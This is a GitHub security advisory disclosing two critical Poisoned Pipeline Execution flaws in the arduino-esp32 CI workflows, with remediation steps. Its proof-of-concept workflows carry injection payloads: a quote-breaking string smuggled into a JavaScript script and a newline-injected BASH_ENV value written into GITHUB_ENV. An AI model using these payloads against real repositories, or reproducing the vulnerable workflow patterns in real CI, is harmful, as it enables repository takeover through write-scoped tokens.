Skip to content

Multiple Poisoned Pipeline Execution (PPE) vulnerabilities

Critical
lucasssvaz published GHSA-h52q-xhg2-6jw8 Sep 17, 2024

Package

actions arduino-esp32 (GitHub Actions)

Affected versions

Started in commit 26db8cba32e77050f177e8cb0f879614c57bc5f2

Patched versions

Fixed in commit a7cec020df8f1a815bd8dfd2559f51a2216bcf1c

Description

Summary

arduino-esp32 CI is vulnerable to multiple Poisoned Pipeline Execution (PPE) vulnerabilities. This affects this repo and any other that might use these workflows.

Code injection in tests_results.yml workflow (GHSL-2024-169)

The tests_results workflow is triggered when the Wokwi tests workflows completes:

on: workflow_run: workflows: ["Wokwi tests"] types: - completed

It then downloads an artifact uploaded by the triggering workflow into the artifacts/ directory:

- name: Download and Extract Artifacts uses: dawidd6/action-download-artifact@v6 with: run_id: ${{ github.event.workflow_run.id }} path: ./artifacts

And read the contents of the artifacts into different Environment Variables:

```yaml - name: Get original info run: | original_event=$(cat ./artifacts/parent-artifacts/event.txt) original_action=$(cat ./artifacts/parent-artifacts/action.txt) original_sha=$(cat ./artifacts/parent-artifacts/sha.txt) original_ref=$(cat ./artifacts/parent-artifacts/ref.txt) original_conclusion=$(cat ./artifacts/parent-artifacts/conclusion.txt) echo "original_event=$original_event" >> $GITHUB_ENV echo "original_action=$original_action" >> $GITHUB_ENV echo "original_sha=$original_sha" >> $GITHUB_ENV echo "original_ref=$original_ref" >> $GITHUB_ENV echo "original_conclusion=$original_conclusion" >> $GITHUB_ENV 

Some of the attacker-controlled variables (such as the original_ref variable) are later interpolated into a JavaScript script, enabling an attacker to alter the code of the script and execute arbitrary code in the context of a high-privileged workflow:

- name: Clean up caches if: always() uses: actions/github-script@v7 with: script: |  const ref = '${{ env.original_ref }}';  ... 

PoC

  • Clone the repository
  • Edit the tests_wokwi.yml workflow.
name: Wokwi tests on: pull_request: jobs: trigger: name: Upload artifact runs-on: ubuntu-latest steps: - run: |  mkdir -p artifacts  printf "${{ github.sha }}" > artifacts/sha.txt  printf "pull_request" > artifacts/event.txt  printf "success" > artifacts/conclusion.txt  printf "" > artifacts/action.txt  # PAYLOAD  printf "foo'; console.log('CODE INJECTION'); //" > artifacts/ref.txt
  • Create a Pull Request with this change.
  • Since the modified workflow is triggered on pull_request, the attacker Pull Request will trigger it and upon completion will trigger the vulnerable Publish and clean test results workflow which will read the malicious artifact and use its contents to modify the JS script.

Impact

This issue may lead to a repository takeover since it will grant an attacker a GITHUB_TOKEN with the following permissions:

 Actions: write Checks: write Contents: write Metadata: read PullRequests: write Statuses: write 

Remediation

  • Verify the contents of the downloaded artifacts.
  • Pass data into the JS script using an Environment Variable and read it from JS using process.env

Environment Variable injection (GHSL-2024-170)

In the same workflow/step, the untrusted data from an artifact is redirected to GITHUB_ENV to create a new Environment Variable:

- name: Get original info run: |  original_event=$(cat ./artifacts/parent-artifacts/event.txt)  original_action=$(cat ./artifacts/parent-artifacts/action.txt)  original_sha=$(cat ./artifacts/parent-artifacts/sha.txt)  original_ref=$(cat ./artifacts/parent-artifacts/ref.txt)  original_conclusion=$(cat ./artifacts/parent-artifacts/conclusion.txt)  echo "original_event=$original_event" >> $GITHUB_ENV  echo "original_action=$original_action" >> $GITHUB_ENV  echo "original_sha=$original_sha" >> $GITHUB_ENV  echo "original_ref=$original_ref" >> $GITHUB_ENV  echo "original_conclusion=$original_conclusion" >> $GITHUB_ENV

The $GITHUB_ENV pointed file is just a regular file where every KEY=VALUE will be used to define a new Environment Variable.

An attacker can send a malicious event.txt file (or any of the other artifacts), with the following content:

pull_request BASH_ENV=$(echo "ENV-VAR INJECTION")

Which will result in two Environment Variables being defined:

  • original_event=pull_request
  • BASH_ENV=$(echo "ENV-VAR INJECTION")

The BASH_ENV will pollute the bash environment so that next Run step will execute the code in the variable.

PoC

  • Clone the repository
  • Edit the tests_wokwi.yml workflow.
name: Wokwi tests on: pull_request: jobs: trigger: name: Upload artifact runs-on: ubuntu-latest steps: - run: |  mkdir -p artifacts  printf "${{ github.sha }}" > artifacts/sha.txt  printf "pull_request" > artifacts/event.txt  printf "success" > artifacts/conclusion.txt  printf "" > artifacts/action.txt  # PAYLOAD  printf "pull_request\nBASH_ENV=$(echo 'ENV-VAR INJECTION')" > artifacts/ref.txt
  • Create a Pull Request with this change.
  • Since the modified workflow is triggered on pull_request, the attacker Pull Request will trigger it and upon completion will trigger the vulnerable Publish and clean test results workflow which will read the malicious artifact and use its contents to modify the JS script.

Impact

This issue may lead to a repository takeover since it will grant an attacker a GITHUB_TOKEN with the following permissions:

 Actions: write Checks: write Contents: write Metadata: read PullRequests: write Statuses: write 

Remediation

  • Verify the contents of the downloaded artifacts.
  • Do not allow new lines in the value redirected to GITHUB_ENV

Resources

Severity

Critical

CVE ID

CVE-2024-45798

Credits